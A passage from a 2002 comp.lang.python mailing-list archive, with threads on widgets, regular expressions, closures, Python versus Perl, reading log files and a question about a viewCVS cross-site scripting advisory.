Cookbook. It does represent a lot of group effort and a consensus view. What I've noticed in at least some of your posts is the tendency to assert an authority which is false-to-fact. One was your assertion on the direct lineage of Python from Lisp, and another is this assumption that not only do we not have a FAQ but that we don't know what it is -- and that your view of the use of the FAQ is the same as others'. There appears to be some antagonism in responses to your recent posts. I submit that at least part of it comes from this tendency. Andrew dalke at dalkescientific.com From linux42 at freemail.c3.hu Thu May 30 04:04:41 2002 From: linux42 at freemail.c3.hu (Nagy Gabor) Date: Thu, 30 May 2002 10:04:41 +0200 Subject: widget needed which widget set provides it? Message-ID: <20020530080441.GA3177@swordfish> Hi! I'd like to have a widget, just like the location bar of current web browsers: a combobox, that folds down automatically when the user starts typing in it, and as he types further, the list of available selections is filtered according the pattern he's given. I simply want the user to be able to choose one from tens or hundreds of names, or to add a new one, and location bars seem to be a very convenient way to do this. I always used TkInter so far (not too many times though), and now I checked python megawidgets, but they do not provide this widget. Which other widget set do you suggest? It has to run on unices and windows of course. Regards Gee From peter at engcorp.com Mon May 13 21:23:51 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 13 May 2002 21:23:51 -0400 Subject: which db should I use? References: <3CDF3C5D.78B73EE0@engcorp.com> <3CE0554E.7EA96EB1@engcorp.com> Message-ID: <3CE06727.A360A89F@engcorp.com> Jim Richardson wrote: > > > No need to use grep, unless you want to. Normally you would want to > > index the files, so that a search for key words becomes an extremely > > fast operation. Even in a database... > > wouldn't this be simply doing a db like approach? how would I go about > learning about this in python? I wouldn't mind not having to have a few > hundred MB of data in the newsspool *and* in some database. Would it be > possible to simple have an "index" file that would give me the same > search functions as SQL, seperate from the actual spool? I'm not sure. What's a newsspool? :-) I would not normally think that "searching text" is the first thing that comes to mind when one thinks of SQL and relational databases. A full-text indexing application, on the other hand, sounds like what you want. I'm sure there are some notes on using Python for that somewhere... What parts of SQL do you expect to use to do this searching? Maybe that will give us a hint what you have in mind, and ideas whether there might be a better approach. (I'm sure SQL can do something like this, but it might be little better performance-wise than doing "if item in list" turns out to be in Python... that is, very slow since it just does a brute-force search from start to finish.) -Peter From eppstein at ics.uci.edu Thu May 2 18:26:35 2002 From: eppstein at ics.uci.edu (David Eppstein) Date: Thu, 02 May 2002 15:26:35 -0700 Subject: Newbie: finding the key/index of the min/max element References: <200204301620.00255.bhan@andrew.cmu.edu> Message-ID: In article , Alex Martelli wrote: > > Also, in Python, there is a big performance gap between built-ins (or > > precompiled C functions in general) and interpreted code, which may > > override big-O considerations: e.g. if you want to find the median of a > > list, I'm pretty sure it would usually be better just to sort the list > > and return the middle item, instead of using a linear-time median > > finding algorithm, despite the nonlinear big-O time of a sort. > > No doubt -- for small-enough N. Just as doublessly, there will be > an N above which the O(N) algorithm is preferable. My impression is that precompiled can beat interpreted by as much as a factor of 100. What is the N for which that beats an O(log N) factor? -- David Eppstein UC Irvine Dept. of Information & Computer Science eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/ From dalke at dalkescientific.com Wed May 1 00:48:29 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Tue, 30 Apr 2002 22:48:29 -0600 Subject: Python vs. Perl, which is better to learn? References: <9UHz8.23$s55.5@newsread2.prod.itd.earthlink.net> Message-ID: Geoff Gerrietts : >Of particular interest to me (and maybe Perl does this now, but it >didn't when I was deep into Perl Zen) is the way you can name >subpatterns in Python -- that allows you to use your parens for >grouping, and not hafta pick through the countless groups for the >actual pieces you want to extract. It doesn't handle that. I mentioned that to Damian Conway as one of the things to consider supporting in Perl6, since I agree -- I use them all the time for my work. >I also appreciate the way Python actively encourages a person to >compile their regular expressions -- Perl doesn't, which leads to >continually re-constructing the state machine (unless they've >optimized that since I was deep into Perl Zen). That was supported even when I started with Perl 4.036. It just doesn't look like it works that way. http://www.perldoc.com/perl5.6.1/pod/perlretut.html ] Even with all this work, regexp matching happens remarkably fast. ] To speed things up, during compilation stage, perl compiles the ] regexp into a compact sequence of opcodes that can often fit ] inside a processor cache. Andrew dalke at dalkescientific.com From shalehperry at attbi.com Sat May 4 17:13:58 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Sat, 04 May 2002 14:13:58 -0700 (PDT) Subject: Problem with Regular Expressions? In-Reply-To: <304d20df.0205041256.5230d2ae@posting.google.com> Message-ID: > > I can probably write a RE which would match the table I want, and then > take the text that was matched, and then use another RE to extract all > the rows. Question is, can this all be done in one go? likely not. and if it could, you probably will find separating the procedure easier to understand and maintain. > Sorry if I'm bad at explaining what I mean, I shouldn't listen to > music at the same time as typing. :) > I can't code with out my loud, hard metal (-: From whisper at oz.net Mon May 20 15:11:57 2002 From: whisper at oz.net (David LeBlanc) Date: Mon, 20 May 2002 12:11:57 -0700 Subject: OT: Crazy Programming In-Reply-To: <23891c90.0205200717.23d175d2@posting.google.com> Message-ID: jacob at boris.cd.chalmers.se.cd.chalmers.se (Jacob Hallen) wrote in message news:... > > The baroque went out of fashion over 200 years ago. Art is not merely > decorative and for amusement. For something so "out of fashion" why do examples cost a bazillion dollars? Art these days seems in large part to consist of anything that critics can be persuaded is art. There's a PBS show running currently called "Egg" that examines various facets of the American art scene. One recent artist they profiled has a work of art that consists of many strands of spagetti glued up into a shape that looks like a big blob of ... spagetti! In truth, some of the other stuff this guy did was imo artistic, but the spagetti piece was just old cold pasta! Another artist - Yoki Ono - has a piece that consists of a video tape of people cutting her clothes off of her; so called "performance art". If the people doing the cutting had worn jack boots and swastikas, we would have called it inhumane and criminal yet somehow the critics call it art. Art is what you like, not what other people tell you you should like. David LeBlanc Seattle, WA USA From cbbrowne at acm.org Fri May 17 23:25:20 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Fri, 17 May 2002 23:25:20 -0400 Subject: Python w/Forth Runtime???? References: <3CE5AFD3.32D59F@tundraware.com> <3CE5C208.5F41AD8A@tundraware.com> Message-ID: In the last exciting episode, Tim Daneliuk wrote:: > Gerhard H?ring wrote: >> >> Tim Daneliuk wrote in comp.lang.python: >> > Python does just what needs doing ... see the end of this piece for why: >> > >> > http://www.tundraware.com/Technology/Bullet/ >> >> What's the connection with the Subject of your posting? >> > > At the end of the piece I suggest that a "ideal" language would be one > which has the paradigmatic richness of Python but whose runtime execution > environment was reaslized in something very sleek and light like Forth. > > The overal article is about the dangers of locking into a single programming > paradigm (like OO) for everything and that real world problems require > multiple *simultaneous* paradigms for reasonable solutions. I think > Python is almost alone in trying to incroporate that very idea in > the language. Python is not alone in this. Common Lisp conspicuously supports multiple simultaneous paradigms. -- (concatenate 'string "aa454" "@freenet.carleton.ca") http://www.ntlug.org/~cbbrowne/emacs.html Rules of the Evil Overlord #188. "I will funnel some of my ill-gotten gains into urban renewal projects. Although slums add a quaint and picturesque quality to any city, they too often contain unexpected allies for heroes." From pbeck at ciberbit.pt Fri May 17 08:41:00 2002 From: pbeck at ciberbit.pt (Pedro B. Gomes Costa) Date: Fri, 17 May 2002 13:41:00 +0100 Subject: How many languages features are available for OO support? References: <9r5F8.142619$o66.424520@news-server.bigpond.net.au> <20020517114023.GB1787@lilith.my-fqdn.de> Message-ID: <000701c1fda0$1a3f5f40$0cc8a8c0@pedro> Hi > > Does Python support the notion of an abstract class or an interface > > through the use of language features? Here is a quote from the excelente book "Thinking in Python" from my favourite C++/Java and now Python book writer, Bruce Eckel (www.bruceeckel.com) "Because Python is weakly typed, it doesn't really care about interfaces - all it cares about is applying operations to objects (in fact, Java's interface keyword would be wasted in Python). This means that inheritance in Python is different from inheritance in C++ or Java, where you often inherit simply to establish a common interface. In Python, the only reason you inherit is to inherit an implementation - to re-use the code in the base class." Btw, you can download a electronic version of the book from the address above. Pedro Costa ----- Original Message ----- From: "Gerhard H?ring" To: Sent: Friday, May 17, 2002 12:40 PM Subject: Re: How many languages features are available for OO support? > * Byron Hammond [2002-05-17 11:02 +0000]: > > To what extent does Python support OO? > > > > I know it has [multiple] inheritance and polymorphism etc, but to what > > extent does the language accomodate this and other OO concepts? > > The language is described in the Python documentation. As you will see, > there are no abstract or interface keywords. > > > Does Python support the notion of an abstract class or an interface > > through the use of language features? > > No, not currently. Of course there are patters for newcomers from Java > to fake these features. But they're of little practical use, IMO. > > Here's a quick shot from me: > > class X: > def __init__(self, *args, **kwargs): > raise NotImplementedError, "This class is abstract :-P" > > x = X() > > > I ask this because not only do I want certain design decisions to be > > clear when reading the code, but I also want to make debugging easier > > for myself. > > That's what comments and docstrings are for, like: > > class X: > """{short description here} > Don't use this class directly. Subclass it > and override the {methodname} method instead.""" > > Gerhard > -- > This sig powered by Python! > Au?entemperatur in M?nchen: 25.8 ?C Wind: 3.5 m/s > > > -- > http://mail.python.org/mailman/listinfo/python-list > From christophe.delord at free.fr Fri May 17 11:55:27 2002 From: christophe.delord at free.fr (Christophe Delord) Date: Fri, 17 May 2002 17:55:27 +0200 Subject: Bug in regular expressions ? Message-ID: <20020517175527.76c55aea.christophe.delord@free.fr> Hi, I thought that regular expressions were greedy, so that the longuest match is returned by match(). Consider these expressions : 'a|aa', 'aa|a' and 'aa?' These expressions may match 'a' and 'aa' and should be equivalent. When applied on 'aa', match only sees the first 'a' when using the first regular expression ('a|aa'). >>> import re >>> p=re.compile('a|aa') >>> p.match('aa').span() (0, 1) <- 'aa' (2 chars) should have be matched ??? >>> p=re.compile('aa|a') >>> p.match('aa').span() (0, 2) <- ok, two characters have been matched >>> p=re.compile('aa?') >>> p.match('aa').span() (0, 2) <- ok >>> So A|B and B|A are not always equivalent. When A and B match, B is ignored even if the matched text is longer. Is this a bug in the re module? Is there a way to tell re to be "totaly greedy"? Thanks, -- Christophe Delord http://christophe.delord.free.fr/ From mertz at gnosis.cx Thu May 2 14:18:16 2002 From: mertz at gnosis.cx (Lulu of the Lotus-Eaters) Date: Thu, 02 May 2002 14:18:16 -0400 Subject: [PEP] matching and mismatching (fwd) References: <3CD17107.A862ED1B@aspextechnology.com> Message-ID: |There was a proposal to make 'generator comprehensions', with a syntax |like | for x in [yield line in file if len(strip(line))]: | print x |but it was rejected. (http://python.org/peps/pep-0289.html) I think the same PEP discussed some lazy FP functions (I'm lazy now, maybe it was a different PEP). In any case, writing you own is really easy: def xfilter(predicate, iterable): if predicate is None: # Compat with filter() predicate = lambda: 1 for item in iterable: if predicate(item): yield item Once you have it, calling it without the need to read the whole list is simple: for line in xfilter(lambda l: len(strip(l)), file): print line Of course, the lambda is harder to read, better would be: def nonempty: return len(strip(l)) for line in xfilter(nonempty, file): print line -- _/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY: Postmodern Enterprises _/_/_/ _/_/ ~~~~~~~~~~~~~~~~~~~~[mertz at gnosis.cx]~~~~~~~~~~~~~~~~~~~~~ _/_/ _/_/ The opinions expressed here must be those of my employer... _/_/ _/_/_/_/_/_/_/_/_/_/ Surely you don't think that *I* believe them! _/_/ From Chris.Barker at noaa.gov Tue May 28 17:15:41 2002 From: Chris.Barker at noaa.gov (Chris Barker) Date: Tue, 28 May 2002 14:15:41 -0700 Subject: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> Message-ID: <3CF3F37B.CF1DCCA@noaa.gov> Christopher Browne wrote: > Wouldn't it be easier to simply change the first line to: > #!/usr/bin/python1.5 Only on *nix.... I'd love to see a platform independent way of doing this. Maybe all we need to do is have the Python interpreter front-end look for that classic *nix line, and then dispatch the script to the correct interpreter for you. And have it work the same way on all platforms. Yes, it's too late to have code like this in old scripts, but it only gets worse with each new version. This was brought up two versions ago (2.0). Also, while someone would have to go back and add a line to all their old scripts, this is a whole lot less work than checking each for incompatability with new features. OF course, that being said, RedHat seems to be incapable of adding a "1.5" to all their config scripts, so maybe there is more to it than I imagine. All we need is a very simple dispatching front end, that looks for a key at the top of the __main__ script, and invokes the correct interpreter. A sysadmin could decide how many versions they want to support, but it should be easy to have a half a dozen non each machine. This really is a problem that needs to be addressed, and it just seems so easy! -Chris -- Christopher Barker, Ph.D. Oceanographer NOAA/OR&R/HAZMAT (206) 526-6959 voice 7600 Sand Point Way NE (206) 526-6329 fax Seattle, WA 98115 (206) 526-6317 main reception Chris.Barker at noaa.gov From mwh at python.net Mon May 20 11:47:11 2002 From: mwh at python.net (Michael Hudson) Date: Mon, 20 May 2002 15:47:11 GMT Subject: Where to find python code beautifier ? References: Message-ID: "Matthew Chong" writes: > Although Python obviate the need of brace but does not mean the code > cannot be beautify] > Anyone knows where to get one ? Tools/scripts/reindent.py Cheers, M. -- US elections For those of you fearing that the rest of the world might be making fun of the US because of this: Rest assured, we are. -- http://www.advogato.org/person/jameson/diary.html?start=12 From ak at silmarill.org Wed May 29 23:46:29 2002 From: ak at silmarill.org (Andrei Kulakov) Date: Thu, 30 May 2002 03:46:29 GMT Subject: Python 2.2.1 question References: Message-ID: In article , Sebastian Roth wrote: > Hi all, > > I've got an question about Python 2.2.1. It's selfcompiled but it looks > like that it don't have an history. If I press it simply > prints: ^[[A > > but why? Which ./configure-argument was missing ? > > Could you help me, please? > > Thank you in advance, > > Sebastian > > If I remember right, you have to edit Modules/Setup file and uncomment readline module. - Andrei -- Cymbaline: intelligent learning mp3 player - python, linux, console. get it at: cy.silmarill.org From postmisc at yahoo.com.au Mon May 20 21:24:31 2002 From: postmisc at yahoo.com.au (Patrick) Date: Tue, 21 May 2002 11:24:31 +1000 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> <838z6epblf.fsf@panacea.canonical.org> Message-ID: "Kragen Sitaker" wrote in message news:838z6epblf.fsf at panacea.canonical.org... > "Patrick" writes: > > Submitting the language to a standards body and opening it up to other > > implementors is hardly a clever way to lock programmers into a specific > > vendor. > > It's an excellent way to get programmers to use it. ECMA does not > require that the standardized technology be patent-free, and Microsoft > has declared their intention to make it not patent-free. Eek! I wasn't aware of that. Can you point me to a reference? If this is the case, they've just lost one potential user. > The ultimate > result will be that the patents will issue in a couple of years, at > which point you will be able to compete with Microsoft's .NET by > producing a compatible implementation as long as Microsoft finds it > convenient to allow you to do so, or as long as you don't need to sell > in the US. This is the clever way to lock programmers into a specific > vendor. I guess it always pays to watch one's step with Microsoft. The first time they release something technically interesting, it turns out to be booby-trapped ... What a pity. From ftobin at neverending.org Wed May 8 16:40:00 2002 From: ftobin at neverending.org (Frank Tobin) Date: Wed, 08 May 2002 20:40:00 GMT Subject: sys.argv and while loop In-Reply-To: References: Message-ID: <20020508153634.I11183-100000@palanthas.neverending.org> Sean 'Shaleh' Perry, on 2002-05-08, wrote: > Many times perl will "do the right thing(tm)" for you and without > telling you. Sometimes you do not want this behaviour. Python > generally does what you tell it to. 'generally'. As talked about in a recent thread about comparing strings and ints: Otherwise, objects of different types always compare unequal, and are ordered consistently but arbitrarily. -- Frank Tobin http://www.neverending.org/~ftobin/ From torresj at apb.es Tue May 14 05:41:31 2002 From: torresj at apb.es (Joan Torres) Date: Tue, 14 May 2002 11:41:31 +0200 (MET DST) Subject: Samba - python Message-ID: <200205140941.LAA28588@osona.apb.es> Hi, I need to upload/download files to and from Unix (solaris) amb Win 2k-XP machines. Is there any samba-python module available? Thanks in advanced, Joan Torres Port of Barcelona From spam at fisher.forestry.uga.edu Sat May 25 16:02:52 2002 From: spam at fisher.forestry.uga.edu (Chris Fonnesbeck) Date: 25 May 2002 13:02:52 -0700 Subject: Embedding Python -- PyThreadState_Get: no current thread Message-ID: I'm trying to write some C code that embeds the python interpreter and the Numeric classes (see trivial exampe below). However, running the compiled code gives me a "PyThreadState_Get: no current thread" error. None of the embedding documentation that I have read so far has mentioned thread management! Any help appreciated. #include #include int main() { PyArrayObject *parray; int dimensions[1]; dimensions[0]=10; parray = (PyArrayObject *)PyArray_FromDims(1,dimensions,PyArray_DOUBLE); return 0; } From python at rcn.com Tue May 28 09:50:33 2002 From: python at rcn.com (Raymond Hettinger) Date: Tue, 28 May 2002 09:50:33 -0400 Subject: extended list comprehensions References: Message-ID: "F. Jamitzky" wrote in message news:f32195af.0205261316.2482d4ac at posting.google.com... > It would be great to have something like a list comprehension for the > reduce function. It would work in the same way as the comprehension > for the map function, which is: > > [foo(x) for x in xs] <-is the same as-> map(foo,xs) > > and maybe it could be written as: > > {y=y+x for x in xs} <-would be-> reduce(operator.add,xs) Perhaps this syntax would be cleaner: for x in xs: y=y+x Raymond Hettinger From markmcintyre at spamcop.net Wed May 15 18:54:16 2002 From: markmcintyre at spamcop.net (Mark McIntyre) Date: Wed, 15 May 2002 23:54:16 +0100 Subject: float separationn References: <3CE2DA16.3050209@darkstargames.de> Message-ID: On Wed, 15 May 2002 23:58:46 +0200, Wolfgang Draxinger wrote: >This is not really C/C++ related, but I think this is also a place to ask: >I'm currently working on a compressed 3D Object interchange format. >With C/C++ its no problem to raw-write the IEEE standard floats the data >consists of into files. Now I'm writing some export scripts for blender >in python. My problem is, that the python float object doesn't provide a >raw-data access. What I need now, is some possibility to construct the >IEEE float format from data returned by the standard math functions. >I think frexp() is a good start, however this still returns a float >value. I'd like to have the raw bits... This is not language specific, but implementation specific. However, you could probably copy the floating point value into an array of unsigned chars, and then extract the relevant bits, assuming you know the widths of the parts of the floating point format used. > >Some ideas? > >Thanks >Wolfgang Draxinger -- Mark McIntyre CLC FAQ From spam at bugbear.com Wed May 15 12:15:53 2002 From: spam at bugbear.com (Paul Graham) Date: 15 May 2002 09:15:53 -0700 Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> Message-ID: <4f52f844.0205150815.631b3415@posting.google.com> Thanks to everyone who replied to my earlier question. It seems Python scope rules have changed recently, and my info was out of date. I am still uncertain about a couple things though: there seem to be some restrictions on what you can do with lexical variables and also what you can put in a lambda. Can some Python expert tell me how you would express the Common Lisp (defun foo (n) #'(lambda () (incf n))) in Python? Many thanks, --pg From joost_jacob at hotmail.com Sun May 5 03:56:07 2002 From: joost_jacob at hotmail.com (J.Jacob) Date: 5 May 2002 00:56:07 -0700 Subject: making python scripts backwards compatible References: Message-ID: <13285ea2.0205042356.15ab8c30@posting.google.com> [Brian Quinlan] > ... I wrote the > module is question and, before reading this thread, I had no idea what > the version requirements were (1). Are patch writers also required to > test against multiple Python versions? > My post was in no way meant to say something bad about your module, the module is great, the coding is clear, it has comments; so it was not too much work for me to make it backwards compatible. Just one list comprehension and the odd "".split syntax. It was just the last one i did, chance. As you mention in an earlier post many people are volunteers and simply do not have enough time to add code for backwards compatibility. I would much rather have that you keep producing good modules I have to adapt, than that you don't. Keep up the good job please! From bkline at rksystems.com Thu May 2 09:50:36 2002 From: bkline at rksystems.com (Bob Kline) Date: Thu, 2 May 2002 09:50:36 -0400 Subject: Continuation after 100 header in httplib References: Message-ID: "Skip Montanaro" wrote in message news:mailman.1020344766.28042.python-list at python.org... > > Bob> Where should I send the patch? > > Use the patch submission page reachable from > > http://sf.net/projects/python/ > > (Click "Patches", then "Submit New".) Thanks, done. From kragen at pobox.com Tue May 28 01:28:24 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 28 May 2002 01:28:24 -0400 Subject: Sockets/select: how to deal with multiple connections in threads? References: Message-ID: <83znykn8nm.fsf@panacea.canonical.org> Irmen de Jong writes: > main loop uses select() on the current connection list. > if a new connection arrives, add this new socket to the connection list. > if data is available on a socket, spawn a new thread to read the data. My suggestions: First, use asyncore. Second, don't accept() or read() or write() or send() or recv() data in any thread but the thread that runs the select() loop --- when data is available on a socket, don't spawn a new thread to read it, just read it (and spawn a new htread if necessary to handle it, or pass it to an existing thread). From kseehof at neuralintegrator.com Thu May 30 21:13:32 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Thu, 30 May 2002 18:13:32 -0700 Subject: Time in python In-Reply-To: <3cf6495d_1@news.iprimus.com.au> Message-ID: Gold Fish asks: > Can anyone tell me how we seperate the time in the file name in python. > For example > python.txt 28/05/02 06:25 import os atime, mtime, ctime = os.stat('python.txt')[-3:] The last three items returned by os.stat are: atime = most recent access mtime = most recent modification ctime = most recent content/metadata change The times are in seconds from the epoch. To convert to human readable form, use the time module: import time time.asctime(time.localtime(mtime)) Also, see os.fstat (for files that are opened). - Ken Seehof From maxm at mxm.dk Wed May 8 08:58:57 2002 From: maxm at mxm.dk (Max M) Date: Wed, 08 May 2002 14:58:57 +0200 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> Message-ID: <3CD92111.7060704@mxm.dk> James J. Besemer wrote: > (c) I don't think I misunderstood or misrepresented your position. You're saying the cases > are insignificant in number and I respectfully am trying to point out your error. I don't > see how you can disagree. Well ... not to keep flogging a dead horse, but you have only prooved that you work on problems where Python is not fast enough. And that there are other people needing all the horsepower they can get. What you have failed to show is the ratio between programming problems that needs the speed of c/c++ and those where Python is fast enough. As long as we have no hard data it is purely anecdotical evidence, which is next to useless. regards Max M From ak at silmarill.org Fri May 3 07:08:43 2002 From: ak at silmarill.org (Andrei Kulakov) Date: Fri, 03 May 2002 11:08:43 GMT Subject: Sleep command References: <3CD25A92.70005@lucent.com> Message-ID: In article <3CD25A92.70005 at lucent.com>, Brian Nulty wrote: > The "sleep" command is not working for me in Jython 2.1. The > specification is: > > sleep(30); # to sleep for 30 seconds > > I get a message saying the command is unrecognised. Am I missing something. > > TIA, > Brian > time.sleep() -- Cymbaline: intelligent learning mp3 player - python, linux, console. get it at: cy.silmarill.org From mikeb at mitre.org Thu May 2 16:02:35 2002 From: mikeb at mitre.org (Mike Brenner) Date: Thu, 02 May 2002 16:02:35 -0400 Subject: NEWBIE QUESTIION: Comparing Lists in Python Message-ID: <3CD19B5B.6FF5323C@mitre.org> In determining to compare two lists (for list_minus, list_intersect, or whatever), the question arise whether to look up the shorter list in a dictionary constructed from the long list or to look up the longer list in a dictionary constructed from the shorter list. As the list gets longer (hundreds of thousands or millions), the latter starts becoming much faster, so a general utility should construct the dictionary from the shorter list and look up the longer list in it. I assume that the time to construct a dictionary is non-linear. From chris.gonnerman at newcenturycomputers.net Wed May 29 09:57:23 2002 From: chris.gonnerman at newcenturycomputers.net (Chris Gonnerman) Date: Wed, 29 May 2002 08:57:23 CDT Subject: read only the last x bytes from a text file In-Reply-To: Message-ID: <200205291301.IAA00645@scotland.k12.mo.us> On Wed, 29 May 2002 15:10:46 +0200, Felix Seeger wrote: > Hi > > I am writing a log monitor. > It checks the filesize and the new filesize. > > Now I want only the difference between this vars. > eg read the last 1000 bytes from the file. > > How can I do this ? > > thanks > have fun > Felix The usual way on Unixoid OS's is to read "past" EOF: ************************************************************** import sys, time fp = open("log.txt", "r") while 1: line = fp.readline() if line: sys.stdout.write(line) else: time.sleep(1) ************************************************************** Of course that's not real "polished"... call it proof of concept. On Windoze, I don't know. From tundra at tundraware.com Fri May 17 21:40:03 2002 From: tundra at tundraware.com (Tim Daneliuk) Date: Sat, 18 May 2002 01:40:03 GMT Subject: Python w/Forth Runtime???? Message-ID: <3CE5AFD3.32D59F@tundraware.com> Python does just what needs doing ... see the end of this piece for why: http://www.tundraware.com/Technology/Bullet/ ------------------------------------------------------------------------------ Tim Daneliuk tundra at tundraware.com From robin at jessikat.fsnet.co.uk Thu May 23 04:18:01 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Thu, 23 May 2002 09:18:01 +0100 Subject: Python cross-site scripting exploits? Message-ID: A while back I asked if there were any obvious vulnerabilities in Python cgi scripting. At the time it seemed no-one would respond positively, but I see that recently both Mailman and viewCVS have been exploited. mailman has compile stuff, but isn't viewCVS pure Python? The viewCVS exploit is detailed here http://lwn.net/2002/0523/a/viewcvs.php3 Can some wizard kindly explain exactly how the client CGI is made responsible for security defence against bad URLs. It seems to me that the client browser should be responsible, but apparently not. The alleged fix seems to involve more complete argument checking, is that required for any such defence? What should the request response be? -- Robin Becker From aleax at aleax.it Fri May 3 12:02:24 2002 From: aleax at aleax.it (Alex Martelli) Date: Fri, 03 May 2002 16:02:24 GMT Subject: Python vs. Perl, which is better to learn? References: <91acf731.0205030642.580a9c59@posting.google.com> Message-ID: Jason Voegele wrote: ... > On the other hand, the ability to call functions without parentheses > is not so clear-cut. Some believe that it leads to less readable > code. Others (such as myself) view it as essential for supporting the > Uniform Access Principle. Usually I'll leave the parentheses off of a "Properties" do UAP better, and meanwhile you get uniformity at ANOTHER level: all methods are also attributes and you can deal with them as you deal with other attributes. In other words, in a language that lets you access object attributes directly (except when properties are interposed, etc), parenthesis-less function calls may be seen as _damaging_ uniformity: x = y.z if y.z is a 'real' attribute, bind its value to z; but if y.z is a callable attribute (method), then DON'T bind the attribute to z, but rather implicitly and invisibly CALL it and bind the RESULT to x. You may not like the uniformity between callable and non-callable attributes, but personally I find it one of Python's strengths. As an analogy, consider assignment in VB6: x = y (x and/or y might be composite names, and you may optionally use a LET verb before x, though nobody ever did:-). In VB6, this means: if x is a normal thing, assign to x; but if x is a special object, then assign to the *default property* of x instead, i.e., actually do (e.g.) x.value = y -- and similarly for y, it's used directly if "a normal thing", but if "a special object", then the "default property" is used instead. So depending on the nature of x and y this might actually be doing (assuming the default property is named 'value', popular but not mandatory): x = y x.value = y x = y.value x.value = y.value When you wanted to REALLY TRULY do x = y for special objects, you then had to code explicitly: SET x = y (which would then give error unless x and y ARE special objects, but that's another wart yet:-). I've long considered it one of the worst warts of VB, and surely one which most confused VB beginners (even ones with some good experience in other languages) -- whenever called upon to help find a bug I always looked first for missing SET verbs and often found one. Apparently Microsoft agreed, since in the move to VB7 (aka VB.NET) they took the opportunity to make lots of incompatible changes to the language -- including removing this misguided application of the ideas of polymorphism and uniformity. Having to know whether x.y is callable or not before I'm able to store [a reference to] the attribute itself somewhere, IMHO, makes callable attributes less than first class citizens and thus in a way breaks uniformity. In my experience, 9 times out of 10 I can afford to just let client code get at an attribute -- and 10% of the time I want this to be ("trigger", if you will) a function call instead. It's higher for _setting_ of attributes -- maybe as high as 30%. Still, in many cases I don't need functions to be called. This is borne out by a non-systematic observation of Java getThis, setThat methods -- it seems to me that a vast majority of cases sees these methods as boilerplate just copying some piece of data in or out, no more. Old Python's ("classic object model") lets you "build" properties out of special methods __getattr__ and __setattr__ -- not too bad, though not maximally elegant (particularly because if you define __setattr__ you must then bypass it carefully for *internal* cases of access -- __getattr__ has no such problems). 2.2's "new object model" adds Properties as (IMHO) one of its most significant features (head to head with subclassing builtin types -- which, admittedly, Ruby always had:-). For those 10% or 30% or whatever of cases where I need methodcalls triggered upon attribute get and/or set, I THEN write accessor methods (I found it most easy and useful to name them getThis, setThat -- Java conventions) and group them into a property with an assignment in class-scope prop = property(getProp, setProp) Now, and now only, will accessing x.prop or setting x.prop=23 call x.getProp and x.setProp as appropriate. __getattr__ is now needed only for rather special uses (works great for 'blind aggregation/delegation' for example -- since methods are gotten just like any other attribute). > method call if it takes no arguments, which allows me to switch > between using a variable and using a method more easily. I also find > it easier to read in such cases. I find empty parentheses() as you > find in C++, Java, and Python rather ugly (a "call" statement in > disguise, as it were), although at least in Python and C++ they are > actually an overridable operator, whereas in Java they are just > gratuitous syntax. Yes, you can't take a reference to a method in Java (while you can in Python, and also, sort of, in C++, though it's a "method pointer" there, and rather unwieldy). Calling is indeed an OPERATOR, while the lack of operator means "a reference to this thingy over here". Now THAT is uniformity: naming something always gets a reference to that thing -- if and when you want to DO something with that reference, you express that "something". Properties let you control the 'dot-operator' selectively and with very fine grain. > In addition, I'll leave the parentheses off of function calls that are > conceptually similar to keywords. For example, Ruby's "raise" method > (which raises an exception), or an "assert" method from a testing > framework, or attr_accessor and friends. Given that raise and assert are statements in Python (Ruby is more flexible by having them as methods, though Python's design choice has its own little pluses too -- interesting tradeoffs), I can hardly criticize you for "wanting" them to be in Ruby too:-). Actually, it's when a callable HAS arguments that it may be least disruptive to allow it to be called without parentheses, just by "juxtaposition" to its arguments. I do admit I love Haskell's way of expressing "f a b c", so clean -- no noisy parentheses nor commas for the typical case. Of course, it DOES require the "implicit currying" concept, so that e.g. f a may return a function that then takes b and returns a function that ... -- delightful, but perhaps not all that applicable unless the compiler has some strong information about what callable takes what arguments:-). For a compiler lacking such knowledge, I opine that unformly mandatory parentheses as "call-operator" is probably simplest and thus preferable -- though I sympathize with the drive to avoid "useless pixels on the screen" (one habit I truly detest is putting wholly unneeded parentheses around the value[s] in a return statement -- some do that in C, too -- or, in Python, around the condition in an if or while... *eeech*...). One day I'd really love to co-author a *balanced* comparison of Python's and Ruby's pluses and minuses -- "co-author" 'cause I'd need to find a partner in crime who admires Python but still prefers Ruby, just as I admire Ruby but still prefer Python -- and one "into" Ruby's triviae and minutiae as well as overall philosophy as much as I'm "into" Python's. Oh well, one day... Alex From eric.brunel at pragmadev.com Tue May 14 10:40:17 2002 From: eric.brunel at pragmadev.com (Eric Brunel) Date: Tue, 14 May 2002 14:40:17 +0000 Subject: python for this C: "if ((a = b(c)) != NULL)" References: <12257ec4.0205140344.2680b226@posting.google.com> Message-ID: David Carson wrote: >> a = b(c) >> if a: >> ... [snip] > > OK, so I wasn't quite clear in my original post. I got four fine > answers like this one -- that is how I do it too. > > They lack the other criterion that makes me use this style in C in the > first place -- brevity. I choose the C syntax in the header because I > can save a line and it is as clear and readable as the alternative > of doing it on two lines (as all these solutions suggest). For an experienced C programmer, maybe; not for anyone. I had to read the statement 3 or 4 times to understand what it does. For me, "a = b(c)" is a statement and has no reason to have a value. The real test definetely is "if ( a != NULL )". Writing it on one line is for me totally unclear and very hard to read. I'd never do that, even in a C program... Just MHO, of course... - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From pyth at devel.trillke.net Wed May 1 13:02:47 2002 From: 